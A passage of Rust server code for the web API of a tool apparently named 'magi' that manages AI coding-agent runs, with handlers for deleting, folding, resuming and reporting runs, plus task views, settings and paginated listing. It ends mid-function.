4501/// Lightweight observation: never replaces the evidence used by controls.
4502async fn run_progress(
4503    State(ui): State<Arc<Ui>>,
4504    Path(id): Path<String>,
4505) -> ApiResult<Json<serde_json::Value>> {
4506    blocking(move || {
4507        let id = resolve_run(&ui.runs, &id)?;
4508        let state = read_run(&ui.runs, &id)?;
4509        let live = state.liveness(crate::daemon::is_working_on(
4510            &ui.home,
4511            &id,
4512            Timestamp::now(),
4513        ));
4514        let waiting = !ui.questions.open_for(&id).is_empty();
4515        Ok(Json(serde_json::json!({
4516            "id": id, "updated_at": state.updated_at, "live": live,
4517            "observed_at": Timestamp::now(),
4518            "progress": crate::run_progress::build(&state, live, waiting),
4519        })))
4520    })
4521    .await
4522}
4523
4524async fn run_detail(
4525    State(ui): State<Arc<Ui>>,
4526    Path(id): Path<String>,
4527) -> ApiResult<Json<RunDetailView>> {
4528    blocking(move || {
4529        let id = resolve_run(&ui.runs, &id)?;
4530        let state = read_run(&ui.runs, &id)?;
4531        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4532        let live = state.liveness(daemon_claims);
4533        crate::queue::record_ids(ui.questions.root(), "json")?;
4534        let waiting = ui
4535            .questions
4536            .list()
4537            .iter()
4538            .any(|q| q.run == id && q.status.open());
4539        let max_attempts = daemon::Opts::default().max_attempts;
4540
4541        let matching_task = ui.find_task_for_run(&id)?;
4542
4543        let superseded_by = state
4544            .pr_taken_over_by
4545            .clone()
4546            .or_else(|| {
4547                matching_task
4548                    .as_ref()
4549                    .and_then(|t| t.successor_of(&id).cloned())
4550            })
4551            .as_deref()
4552            .map(crate::run::short_of)
4553            .map(str::to_owned);
4554
4555        // Best-effort: an unreadable head (mid-write, or deleted) just means
4556        // this run's own status stands on its own, same as no later attempt
4557        // existing at all.
4558        let latest_attempt = matching_task
4559            .as_ref()
4560            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4561            .and_then(|head_id| {
4562                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4563                    short: head.short().to_owned(),
4564                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4565                    status: head.status,
4566                    done: head.status.done(),
4567                    id: head.id,
4568                })
4569            });
4570
4571        let task = matching_task
4572            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4573
4574        Ok(Json(RunDetailView::of(
4575            state,
4576            waiting,
4577            live,
4578            superseded_by,
4579            latest_attempt,
4580            task,
4581        )))
4582    })
4583    .await
4584}
4585
4586/// `DELETE /api/runs/{id}`.
4587///
4588/// Remove a finished, folded run directory along with its artifacts.
4589/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4590/// deleted. This never touches git worktrees or branches - except for a run
4591/// whose state this build cannot read at all, where there is no candidate
4592/// list to check and the wholesale removal `magi fold` already uses for that
4593/// case is the only meaningful "delete".
4594async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4595    let (id, unreadable) = {
4596        let ui = Arc::clone(&ui);
4597        blocking(move || {
4598            let id = resolve_run(&ui.runs, &id)?;
4599            match read_run(&ui.runs, &id) {
4600                Ok(state) => {
4601                    let in_flight =
4602                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4603                    state
4604                        .ensure_can_delete(in_flight)
4605                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4606                    let dir = ui.runs.join(&id);
4607                    std::fs::remove_dir_all(&dir)
4608                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4609                    Ok((id, false))
4610                }
4611                Err(_) => {
4612                    // Unreadable: there is no candidate list to guard on, so
4613                    // a live daemon's claim is the only thing left to check -
4614                    // the same rule `run_fold` applies for the same reason.
4615                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4616                        return Err(ApiError::conflict(format!(
4617                            "run {id} is being worked on by a live daemon right now"
4618                        )));
4619                    }
4620                    Ok((id, true))
4621                }
4622            }
4623        })
4624        .await?
4625    };
4626    if unreadable {
4627        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4628            .await
4629            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4630    }
4631    let ui = Arc::clone(&ui);
4632    let done = id.clone();
4633    blocking(move || {
4634        // The agent that asked died with the run, so an open question would
4635        // keep asking the operator for a decision nobody can deliver.
4636        ui.questions.abandon_for_run(
4637            &done,
4638            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4639        )?;
4640        Ok(())
4641    })
4642    .await?;
4643    Ok(StatusCode::NO_CONTENT)
4644}
4645
4646/// `POST /api/runs/{id}/fold`.
4647///
4648/// Remove a run's candidate worktrees and branches, keeping its record.
4649///
4650/// This exists because the deck answered "delete this run" with *"Candidates
4651/// must be folded before deleting. Run `magi fold` first."* — a phone being
4652/// told to open a terminal, in the one product whose point is that it does
4653/// not need one. The runs an operator most wants gone are the stalled and
4654/// blocked ones, and those are exactly the runs still holding worktrees:
4655/// three of them here held 53 GB.
4656///
4657/// The winner's tree goes too. A fold is what someone asks for when they are
4658/// finished with a run, and leaving one tree behind would leave the delete
4659/// button disabled for the same reason as before.
4660///
4661/// Refused while a live daemon is working on the run, on the rule that guards
4662/// deletion: folding underneath a running agent would pull the tree it is
4663/// editing out from under it.
4664///
4665/// A run whose state this build cannot read at all falls back to
4666/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4667/// selectively, so the whole record's worktree goes wholesale, exactly what
4668/// `magi fold` does on the command line for the same run.
4669async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4670    let (id, state) = {
4671        let ui = Arc::clone(&ui);
4672        blocking(move || {
4673            let id = resolve_run(&ui.runs, &id)?;
4674            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4675                return Err(ApiError::conflict(format!(
4676                    "run {id} is being worked on by a live daemon right now"
4677                )));
4678            }
4679            let state = read_run(&ui.runs, &id).ok();
4680            Ok((id, state))
4681        })
4682        .await?
4683    };
4684    let removed = match state {
4685        Some(mut state) => {
4686            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4687                .await
4688                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4689            // Nothing left to remove is not the same thing as nothing left to
4690            // do — see `clean::clear_abandoned_active`'s own doc for the run
4691            // this exists for: worktrees already gone, but a killed process
4692            // left active seats nobody will ever answer for.
4693            if removed.is_empty() {
4694                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4695                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4696            }
4697            removed
4698        }
4699        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4700            .await
4701            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4702    };
4703    Ok(Json(FoldView {
4704        run: id,
4705        removed_count: removed.len(),
4706        removed,
4707    }))
4708}
4709
4710/// What a fold took away, so the deck can say so rather than only re-render.
4711#[derive(Debug, Serialize)]
4712struct FoldView {
4713    run: String,
4714    /// Worktree paths and branch names removed, in the order they went.
4715    removed: Vec<String>,
4716    removed_count: usize,
4717}
4718
4719/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4720/// merged outside of `land::land`'s own loop.
4721#[derive(Debug, Deserialize)]
4722struct FoldMergedBody {
4723    #[serde(default)]
4724    pr_url: String,
4725}
4726
4727/// `POST /api/runs/{id}/fold-merged`.
4728///
4729/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4730/// `Blocked` with `merge: null` because magi never got as far as opening a
4731/// pull request of its own (a title over GitHub's length limit, `gh pr
4732/// create` unreachable, a stale token), which the operator then finished by
4733/// hand on a pull request magi never recorded. The "Run actions" sheet used
4734/// to have no way to tell it about that pull request short of a terminal and
4735/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4736/// this exists and what it deliberately does not do (`bump::after_merge`).
4737///
4738/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4739/// correction rewrites the same `status`/`merge` fields a running graph would
4740/// be writing to on its own.
4741///
4742/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4743/// calls plus a fold, seconds of work, and the phone should get its answer
4744/// (which pull request it recorded, and what changed) in the same round
4745/// trip rather than learning it from the change stream.
4746async fn run_fold_merged(
4747    State(ui): State<Arc<Ui>>,
4748    Path(id): Path<String>,
4749    Json(body): Json<FoldMergedBody>,
4750) -> ApiResult<Json<FoldMergedView>> {
4751    let pr_url = body.pr_url.trim().to_owned();
4752    if pr_url.is_empty() {
4753        return Err(ApiError::bad_request("pr_url is required"));
4754    }
4755    let (id, mut state) = {
4756        let ui = Arc::clone(&ui);
4757        blocking(move || {
4758            let id = resolve_run(&ui.runs, &id)?;
4759            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4760                return Err(ApiError::conflict(format!(
4761                    "run {id} is being worked on by a live daemon right now"
4762                )));
4763            }
4764            let state = read_run(&ui.runs, &id)?;
4765            Ok((id, state))
4766        })
4767        .await?
4768    };
4769    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4770        .await
4771        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4772    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4773        .await
4774        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4775    Ok(Json(FoldMergedView {
4776        run: id,
4777        before: before.as_str().to_owned(),
4778        after: after.as_str().to_owned(),
4779        removed,
4780    }))
4781}
4782
4783/// What [`run_fold_merged`] did, so the deck can say so.
4784#[derive(Debug, Serialize)]
4785struct FoldMergedView {
4786    run: String,
4787    /// `status` before the correction — normally `"blocked"`.
4788    before: String,
4789    /// `status` after — normally `"merged"`.
4790    after: String,
4791    /// Worktree paths and branch names the trailing fold removed.
4792    removed: Vec<String>,
4793}
4794
4795/// `POST /api/runs/{id}/resume`.
4796///
4797/// Carry a stalled run on from where it stopped, in the background.
4798///
4799/// A stalled card says "the work is kept" and used to offer no way to act on
4800/// that: the candidates are built and paid for, and continuing means re-asking
4801/// only the seats whose absence collapsed the panel. The alternative an
4802/// operator actually had was releasing the task, which competes three fresh
4803/// implementations against work that already exists.
4804///
4805/// **202, not 200.** A resume runs agents for minutes; holding the connection
4806/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4807/// phone learns the outcome from the change stream.
4808///
4809/// Refused when the loop is running at all, not merely when it is on this run.
4810/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4811/// started a second graph on top of whatever the loop is already driving —
4812/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4813/// allows — would spend that quota twice over for no extra throughput.
4814async fn run_resume(
4815    State(ui): State<Arc<Ui>>,
4816    Path(id): Path<String>,
4817) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4818    let admission = ui.begin_admission()?;
4819    admitted(admission, async move {
4820        let (id, state) = {
4821            let ui = Arc::clone(&ui);
4822            blocking(move || {
4823                let id = resolve_run(&ui.runs, &id)?;
4824                let state = read_run(&ui.runs, &id)?;
4825                Ok((id, state))
4826            })
4827            .await?
4828        };
4829        crate::resume::validate_unqueued(&ui.home, &id)
4830            .map_err(|e| ApiError::conflict(e.to_string()))?;
4831        let _resume = ui.begin_resume(&id)?;
4832
4833        crate::resume::start(&ui.home, id.clone())
4834            .await
4835            .map_err(ApiError::from)?;
4836        // The same shape the list route returns, so the phone updates the card it
4837        // already has rather than learning a second schema for one button.
4838        let queued = RunSummary::of(
4839            &state,
4840            !ui.questions.open_for(&id).is_empty(),
4841            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4842        );
4843        Ok((StatusCode::ACCEPTED, Json(queued)))
4844    })
4845    .await
4846}
4847
4848async fn run_report(
4849    State(ui): State<Arc<Ui>>,
4850    Path(id): Path<String>,
4851) -> ApiResult<impl IntoResponse> {
4852    let text = blocking(move || {
4853        let id = resolve_run(&ui.runs, &id)?;
4854        // Colour is off for the whole process, set once in `serve`. Rendering
4855        // is CPU work over the full state, which is the other reason this is
4856        // not on the executor.
4857        let state = read_run(&ui.runs, &id)?;
4858        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4859        let live = state.liveness(daemon_claims);
4860        Ok(format!(
4861            "{}{}",
4862            report::run(&state),
4863            report::active_seats(&state, live)
4864        ))
4865    })
4866    .await?;
4867    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4868}
4869
4870/// The structured twin of [`run_report`]: the same state, as sections the UI
4871/// draws as cards. An unreadable run answers with the same error the text
4872/// route does; it is never turned into an empty report.
4873async fn run_report_json(
4874    State(ui): State<Arc<Ui>>,
4875    Path(id): Path<String>,
4876) -> ApiResult<Json<crate::report_view::RunReportView>> {
4877    let view = blocking(move || {
4878        let id = resolve_run(&ui.runs, &id)?;
4879        let state = read_run(&ui.runs, &id)?;
4880        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4881        // Only a record that lacks the structured details reads `artifacts/`.
4882        let recovered = state.graft.as_ref().map(|_| {
4883            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4884        });
4885        Ok(crate::report_view::build_with(
4886            &state,
4887            state.liveness(daemon_claims),
4888            recovered.as_ref(),
4889        ))
4890    })
4891    .await?;
4892    Ok(Json(view))
4893}
4894
4895/// Archive access uses validated run-owned records, never a request-supplied path.
4896async fn run_seat_evidence(
4897    State(ui): State<Arc<Ui>>,
4898    Path(id): Path<String>,
4899) -> ApiResult<impl IntoResponse> {
4900    let id = resolve_run(&ui.runs, &id)?;
4901    let heads = crate::retention::seat_heads(&ui.home, &id)
4902        .await
4903        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4904    Ok(Json(heads))
4905}
4906
4907async fn run_seat_diff(
4908    State(ui): State<Arc<Ui>>,
4909    Path((id, head)): Path<(String, String)>,
4910) -> ApiResult<impl IntoResponse> {
4911    let id = resolve_run(&ui.runs, &id)?;
4912    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4913        .await
4914        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4915    Ok((
4916        [
4917            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4918            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4919        ],
4920        patch,
4921    ))
4922}
4923
4924/// Most of a graft diff the route returns.
4925const GRAFT_DIFF_MAX: usize = 400 * 1024;
4926/// How long `git diff` may run.
4927const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4928
4929/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4930/// come from the run record, never from the request.
4931async fn run_graft_diff(
4932    State(ui): State<Arc<Ui>>,
4933    Path(id): Path<String>,
4934) -> ApiResult<impl IntoResponse> {
4935    let (repo, pre, post) = blocking(move || {
4936        let id = resolve_run(&ui.runs, &id)?;
4937        let state = read_run(&ui.runs, &id)?;
4938        let g = state
4939            .graft
4940            .as_ref()
4941            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4942        let post = g
4943            .post
4944            .clone()
4945            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4946        Ok((state.repo.clone(), g.pre.clone(), post))
4947    })
4948    .await?;
4949    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4950    if !hex(&pre) || !hex(&post) {
4951        return Err(ApiError::not_found("the recorded commits are not valid"));
4952    }
4953    let out = tokio::time::timeout(
4954        GRAFT_DIFF_TIMEOUT,
4955        crate::git::git_raw(
4956            &repo,
4957            &[
4958                "diff",
4959                "--no-color",
4960                "--no-ext-diff",
4961                "-M",
4962                &pre,
4963                &post,
4964                "--",
4965            ],
4966        ),
4967    )
4968    .await
4969    .map_err(|_| ApiError::not_found("git diff timed out"))?
4970    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4971    if out.code != Some(0) {
4972        return Err(ApiError::not_found(
4973            "the recorded commits are no longer in the repository",
4974        ));
4975    }
4976    let mut body = out.stdout;
4977    if body.len() > GRAFT_DIFF_MAX {
4978        let mut cut = GRAFT_DIFF_MAX;
4979        while !body.is_char_boundary(cut) {
4980            cut -= 1;
4981        }
4982        body.truncate(cut);
4983        body.push_str("\n... diff truncated ...");
4984    }
4985    Ok((
4986        [
4987            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4988            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4989        ],
4990        body,
4991    ))
4992}
4993
4994/// A task as the UI sees it.
4995///
4996/// The whole task, plus the two things the client would otherwise have to
4997/// reimplement: the human-readable source and the status string. Nothing is
4998/// removed - the phone shows `last_error` and the run history verbatim.
4999#[derive(Debug, Serialize)]
5000struct TaskView {
5001    #[serde(flatten)]
5002    task: Task,
5003    source_label: String,
5004    source_link: Option<SourceLink>,
5005    status_str: &'static str,
5006    /// The instruction, parsed as markdown, for the Queue card's "Full
5007    /// instruction" panel. `task.instruction` is unchanged and still carries
5008    /// the raw text.
5009    instruction_md: Vec<md::Node>,
5010    /// For a blocked task, what it waits on with each dependency's state, e.g.
5011    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5012    /// recurses; empty for every other status.
5013    waits_on: Vec<String>,
5014    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5015    /// behind - non-empty means nothing in the loop will ever run it.
5016    stuck_roots: Vec<String>,
5017    blockers: Vec<crate::blockers::BlockerView>,
5018    recovery: Option<String>,
5019}
5020
5021impl From<Task> for TaskView {
5022    fn from(task: Task) -> Self {
5023        Self {
5024            source_label: task.source.label(),
5025            source_link: source_link(&task.source),
5026            status_str: task.status.as_str(),
5027            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5028            waits_on: Vec::new(),
5029            stuck_roots: Vec::new(),
5030            blockers: Vec::new(),
5031            recovery: task_recovery(&task),
5032            task,
5033        }
5034    }
5035}
5036
5037impl TaskView {
5038    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5039        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5040            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5041            if !pending.is_empty() {
5042                self.recovery = Some(format!(
5043                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5044                    self.recovery.as_deref().unwrap_or_default()
5045                ));
5046            }
5047            for decision in pending {
5048                self.blockers.retain(|view| view.id != decision.id);
5049                self.blockers.push(decision);
5050            }
5051        }
5052        self
5053    }
5054
5055    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5056        let waits_on = inv.waits_on(&task);
5057        let stuck_roots = inv
5058            .stuck_roots(&task)
5059            .iter()
5060            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5061            .collect();
5062        Self {
5063            blockers: inv.blocker_views(&task),
5064            waits_on,
5065            stuck_roots,
5066            ..Self::from(task)
5067        }
5068    }
5069}
5070
5071fn task_recovery(task: &Task) -> Option<String> {
5072    use crate::queue::{HoldSource, TaskStatus};
5073    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5074        return None;
5075    }
5076    let mut text = String::new();
5077    if task.status == TaskStatus::Blocked {
5078        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5079        let restored = match task.blocked_from {
5080            Some(TaskStatus::Running) => TaskStatus::Queued,
5081            Some(status) => status,
5082            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5083            None => TaskStatus::Queued,
5084        };
5085        text.push_str(&format!(
5086            "After all dependencies resolve, the scheduler restores {}. ",
5087            restored.as_str()
5088        ));
5089        if restored != TaskStatus::Held {
5090            return Some(text);
5091        }
5092    }
5093    text.push_str(match task.hold_source {
5094        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5095        Some(HoldSource::Machine) if task.hold_reason.as_deref().is_some_and(crate::disk::is_gate_reason) =>
5096            "Machine disk hold: free disk space or restore measurement. Recorded disk figures describe the hold time, not current capacity. If no recovery decision is pending, triage rechecks the disk gate and can automatically queue after recovery is verified. Pending decisions must be resolved or applied first; disk admission checks still apply.",
5097        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5098        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5099    });
5100    Some(text)
5101}
5102
5103/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5104/// its absence, leaves the cache to decide.
5105#[derive(Debug, Default, Deserialize)]
5106#[serde(default)]
5107struct ReposQuery {
5108    refresh: u8,
5109}
5110
5111/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5112/// listing `magi repos` prints at a terminal.
5113///
5114/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5115/// so an edit to `magi.toml` takes effect without a restart, the same
5116/// reasoning [`config_for`] documents for the talk routes.
5117async fn repos_list(
5118    State(ui): State<Arc<Ui>>,
5119    Query(q): Query<ReposQuery>,
5120) -> ApiResult<Json<Vec<repos::Repo>>> {
5121    let refresh = q.refresh != 0;
5122    blocking(move || {
5123        let (cfg, _) = Config::discover(&ui.repo, None)?;
5124        Ok(Json(ui.repos_cache.list(
5125            &cfg.repos.roots,
5126            Duration::from_secs(cfg.repos.scan_ttl),
5127            refresh,
5128        )))
5129    })
5130    .await
5131}
5132
5133/// Optional context, restricted to the server's known checkouts.
5134#[derive(Debug, Default, Deserialize)]
5135struct SettingsQuery {
5136    repo: Option<PathBuf>,
5137}
5138
5139/// Always discover against the server's original context, never the selection.
5140/// If that config is broken, retain the default context and machine-only roots
5141/// so the settings error contract and recovery picker remain available.
5142fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5143    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5144        let paths: Vec<PathBuf> = ui
5145            .machine_config
5146            .iter()
5147            .filter(|p| p.is_file())
5148            .cloned()
5149            .collect();
5150        if paths.is_empty() {
5151            Ok(Config::autodetected())
5152        } else {
5153            Config::load_layers(&paths)
5154        }
5155    });
5156    let mut known = cfg
5157        .map(|cfg| {
5158            ui.repos_cache.list(
5159                &cfg.repos.roots,
5160                Duration::from_secs(cfg.repos.scan_ttl),
5161                refresh,
5162            )
5163        })
5164        .unwrap_or_default();
5165    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5166    if !known.iter().any(|r| r.path == path) {
5167        known.push(repos::Repo {
5168            name: path
5169                .file_name()
5170                .unwrap_or_default()
5171                .to_string_lossy()
5172                .into_owned(),
5173            path,
5174        });
5175    }
5176    known
5177}
5178
5179fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5180    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5181    let canonical = requested.canonicalize().ok();
5182    let mut known = settings_repositories(ui, false);
5183    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5184    if !known.iter().any(matches) {
5185        known = settings_repositories(ui, true);
5186    }
5187    let repo = known
5188        .iter()
5189        .find(|r| matches(r))
5190        .map(|r| r.path.clone())
5191        .ok_or_else(|| ApiError {
5192            text_reason: None,
5193            status: StatusCode::UNPROCESSABLE_ENTITY,
5194            message: "Choose a known repository from the Settings selector.".to_owned(),
5195        })?;
5196    Ok((repo, known))
5197}
5198
5199/// `GET /api/settings` - the effective role assignments and roster, with the
5200/// layer each came from. A config that fails to load answers 200 with an
5201/// `error`, so the screen can say so instead of drawing empty lists.
5202async fn settings_get(
5203    State(ui): State<Arc<Ui>>,
5204    Query(q): Query<SettingsQuery>,
5205) -> ApiResult<Json<settings::SettingsView>> {
5206    blocking(move || {
5207        let (repo, known) = settings_context(&ui, q)?;
5208        Ok(Json(settings::view_with_repos(
5209            &repo,
5210            ui.machine_config.as_deref(),
5211            &known,
5212        )))
5213    })
5214    .await
5215}
5216
5217/// The body of `PUT /api/settings/roles`.
5218#[derive(Debug, Deserialize)]
5219#[serde(deny_unknown_fields)]
5220struct RolesBody {
5221    /// The `revision` the client last read.
5222    revision: String,
5223    /// Role key to its new ids; an empty list resets the key to its default.
5224    #[serde(default)]
5225    roles: std::collections::BTreeMap<String, Vec<String>>,
5226    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5227    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5228    /// words (422) instead of as a deserialization error.
5229    #[serde(default)]
5230    counts: std::collections::BTreeMap<String, serde_json::Value>,
5231}
5232
5233/// `PUT /api/settings/roles` - save role assignments to the machine config.
5234///
5235/// The write target is `ui.machine_config` and nothing in the body can change
5236/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5237/// 422 with the reason in words.
5238async fn settings_put_roles(
5239    State(ui): State<Arc<Ui>>,
5240    Query(q): Query<SettingsQuery>,
5241    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5242) -> ApiResult<Json<settings::SettingsView>> {
5243    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5244    blocking(move || {
5245        let (repo, known) = settings_context(&ui, q)?;
5246        settings::save_with_repos(
5247            &repo,
5248            ui.machine_config.as_deref(),
5249            &body.revision,
5250            &body.roles,
5251            &body.counts,
5252            &known,
5253        )
5254        .map(Json)
5255        .map_err(|e| match e {
5256            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5257            settings::SaveError::Refused(m) => ApiError {
5258                text_reason: None,
5259                status: StatusCode::UNPROCESSABLE_ENTITY,
5260                message: m,
5261            },
5262            settings::SaveError::Internal(m) => ApiError::internal(m),
5263        })
5264    })
5265    .await
5266}
5267
5268async fn queue_list(
5269    State(ui): State<Arc<Ui>>,
5270    Query(q): Query<ListQuery>,
5271) -> ApiResult<Json<Vec<TaskView>>> {
5272    blocking(move || {
5273        let tasks = ui.queue.list();
5274        let inv =
5275            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5276        Ok(Json(
5277            tasks
5278                .into_iter()
5279                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5280                .map(|t| TaskView::with_inventory(t, &inv))
5281                .collect(),
5282        ))
5283    })
5284    .await
5285}
5286
5287/// History pages read a bounded number of records; the first conversation
5288/// page also includes every open talk. Cursors advance through a frozen snapshot,
5289/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5290/// Concurrent inserts are reconciled by a trailing store refresh.
5291#[derive(Debug, Default, Deserialize)]
5292struct PageQuery {
5293    before: Option<String>,
5294}
5295
5296#[derive(Serialize)]
5297struct StorePage<T> {
5298    rows: Vec<T>,
5299    next: Option<String>,
5300}
5301
5302const STORE_PAGE_SIZE: usize = 16;
5303
5304/// Freeze membership and the initial open/history boundary for a cursor walk.
5305/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5306/// the next store revision. Never rescan the entire directory for every page.
5307#[derive(Debug)]
5308struct ListWalk {
5309    token: u64,
5310    talks: bool,
5311    opened: std::time::Instant,
5312    ids: Arc<Vec<String>>,
5313    initial_end: usize,
5314}
5315
5316fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5317    page_ids_with(ui, talks, q, open_talk_ids)
5318}
5319
5320fn page_ids_with(
5321    ui: &Ui,
5322    talks: bool,
5323    q: PageQuery,
5324    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5325) -> ApiResult<(Vec<String>, Option<String>)> {
5326    let mut walks = ui
5327        .monitor
5328        .list_walks
5329        .lock()
5330        .unwrap_or_else(PoisonError::into_inner);
5331    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5332    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5333        let (token, offset) = cursor
5334            .split_once(':')
5335            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5336        let token = token
5337            .parse::<u64>()
5338            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5339        let offset = offset
5340            .parse::<usize>()
5341            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5342        let walk = walks
5343            .iter()
5344            .find(|walk| walk.token == token && walk.talks == talks)
5345            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5346        (token, walk.ids.clone(), offset, walk.initial_end)
5347    } else {
5348        // Header I/O must not hold the snapshot registry shared with queue
5349        // pagination or with clients continuing an existing history walk.
5350        drop(walks);
5351        let root = if talks {
5352            ui.talks.root()
5353        } else {
5354            ui.queue.root()
5355        };
5356        let mut ids = crate::queue::record_ids(root, "json")?;
5357        ids.sort_unstable_by(|a, b| b.cmp(a));
5358        let initial_end = if talks {
5359            let open = classify(ui, &ids);
5360            // Stable partition: ID order is only the existing membership order,
5361            // never a substitute for the UI's creation-time ordering.
5362            ids.sort_by_key(|id| !open.contains(id));
5363            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5364        } else {
5365            STORE_PAGE_SIZE.min(ids.len())
5366        };
5367        let ids = Arc::new(ids);
5368        walks = ui
5369            .monitor
5370            .list_walks
5371            .lock()
5372            .unwrap_or_else(PoisonError::into_inner);
5373        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5374        let mut token = crate::rng::entropy();
5375        while walks.iter().any(|walk| walk.token == token) {
5376            token = crate::rng::entropy();
5377        }
5378        // Four clients can enumerate both stores and overlap a refresh. Bound
5379        // retained membership snapshots; an evicted cursor explicitly retries.
5380        if walks.len() >= 16 {
5381            walks.remove(0);
